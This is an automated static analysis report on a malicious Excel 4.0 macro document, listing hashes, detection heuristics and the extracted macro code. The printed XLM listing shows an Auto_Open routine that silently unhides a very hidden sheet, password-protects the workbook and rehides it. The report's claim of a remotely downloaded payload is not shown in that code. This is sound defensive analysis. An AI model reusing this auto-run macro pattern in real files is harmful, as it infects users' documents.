Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b0ad5dad2647a42c…

MALICIOUS

Office (OLE)

18.0 KB Created: 1996-10-14 23:33:28 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 0de4fd270da98ab222f46d65fb578d76 SHA-1: c727e25e31c2d5a5395eccff7bb3002418f1ff69 SHA-256: b0ad5dad2647a42ca019aef747c5d39998b5c8ae53fab53628eaf3d115630b6f
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel 4.0 macro-enabled document detected as malicious. The Auto_Open macro is configured to execute, and it attempts to unhide and activate a sheet named 'Jaime'. The macro also defines a workbook name 'Host' which resolves to 'target.xls'. This suggests the macro is designed to execute a secondary payload, likely downloaded from a remote source, and the presence of an Auto_Open macro points to a spearphishing attachment delivery vector.

Heuristics 5

  • ClamAV: Win.Trojan.Whore-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Whore-1
  • Excel 4.0 (XLM) Auto_Open + macro sheet critical OLE_XLM_AUTOOPEN
    Workbook contains an Auto_Open / Auto_Close defined name together with an Excel 4.0 macro sheet — the canonical XLM auto-execution shape used by malware families such as Emotet and QakBot.
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • VBA project contains no executable statements low OLE_VBA_MACROS
    Document contains a VBA project, but extracted modules only contain attributes/options/comments and no executable statements.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1536 bytes
SHA-256: bb8f9fc73000a40917a14f277dda96b547b58dfc14c2a9e9b6e4accf6d15c4ec
Preview script
First 1,000 lines of the extracted script
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden -  Jaim
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Jaim!A2 
' 0018     32 LABEL : Cell Value, String Constant - Host len=13 ptgStr "target.xls" 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Jaim,A3,CANCEL.KEY(FALSE),""
'  Jaim,A4,ECHO(FALSE),""
'  Jaim,A5,ERROR(FALSE),""
'  Jaim,A6,"SET.NAME("Host",GET.DOCUMENT(88))",""
'  Jaim,A7,WORKBOOK.UNHIDE("Jaime"),""
'  Jaim,A8,ACTIVATE.PREV(),""
'  Jaim,A9,WORKBOOK.UNHIDE("Jaime"),""
'  Jaim,A10,"IF(ISERROR(WORKBOOK.SELECT("Jaime","Jaime")))",""
'  Jaim,A11,"[",""
'  Jaim,A12,"PROTECT.DOCUMENT(TRUE,,"Jaime1134",TRUE,TRUE)",""
'  Jaim,A13,SAVE(),""
'  Jaim,A14,*STACKERROR* not enough arguments for function: END.IF,""
'  Jaim,A15,"WORKBOOK.HIDE("Jaime",TRUE)",""
'  Jaim,A16,ACTIVATE.NEXT(),""
'  Jaim,A17,"WORKBOOK.HIDE("Jaime",TRUE)",""
'  Jaim,A18,RETURN(),""
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1054 bytes
SHA-256: 26ae2b120c8c47fa994d45e556e00d0cea289602ed24e3252e48d375d76997f3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True